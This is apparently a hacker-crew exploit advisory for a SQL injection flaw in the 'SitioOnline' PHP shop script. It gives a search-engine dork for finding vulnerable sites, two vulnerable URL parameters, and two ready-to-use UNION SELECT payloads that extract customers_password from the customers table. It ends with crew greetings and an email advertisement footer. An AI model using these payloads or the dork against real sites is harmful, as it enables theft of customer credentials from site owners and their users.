48 lines
No EOL
1.3 KiB
Text
48 lines
No EOL
1.3 KiB
Text
**********************- cvs -vrew ***********************
|
|
|
|
[!] SitioOnline SQL Injection Vulnerability
|
|
[!] Author : 4lG3r14n0-t3r0
|
|
[!] MAIL : v5@hotmail.de
|
|
|
|
***************************************************************************/
|
|
|
|
[ Software Information ]
|
|
|
|
[+] Vendor : http://www.SitioOnline.cl
|
|
[+] script : SitioOnline
|
|
[+] Download :
|
|
[+] Vulnerability : php SQL injection
|
|
[+] Dork :inurl:"lista_articulos.php?id_categoria="
|
|
or Powered by SitioOnline.com
|
|
|
|
|
|
**************************************************************************/
|
|
[ Vulnerable File ]
|
|
|
|
http://server/lista_articulos.php?id_categoria=
|
|
|
|
http://server/detalle_articulo.php?id_producto=
|
|
|
|
[ Exploit ]
|
|
|
|
[1]
|
|
|
|
http://server/lista_articulos.php?id_categoria=42+union+select+1,customers_password+from+customers--
|
|
|
|
|
|
[2]
|
|
|
|
|
|
http://server/detalle_articulo.php?id_producto=-7+union+select+1,customers_password+from+customers--
|
|
|
|
[ Greets ]
|
|
|
|
[+] :cvs crew : ange78 , saf1-casanova,jess-injection,ijection-master,dark-master , alqaiser, u$er-maskine , ALL HACKERS MUSLIMS
|
|
|
|
& all members of : tryag.cc , hackteach.org
|
|
|
|
made in algeria
|
|
|
|
N'est pas mort ce qui à jamais dort
|
|
________________________________
|
|
PC, téléphones portables, souris hi-tech. à gagner grâce à Hotmail ! C'est ici !<http://www.hotmailmagicmoment.com> |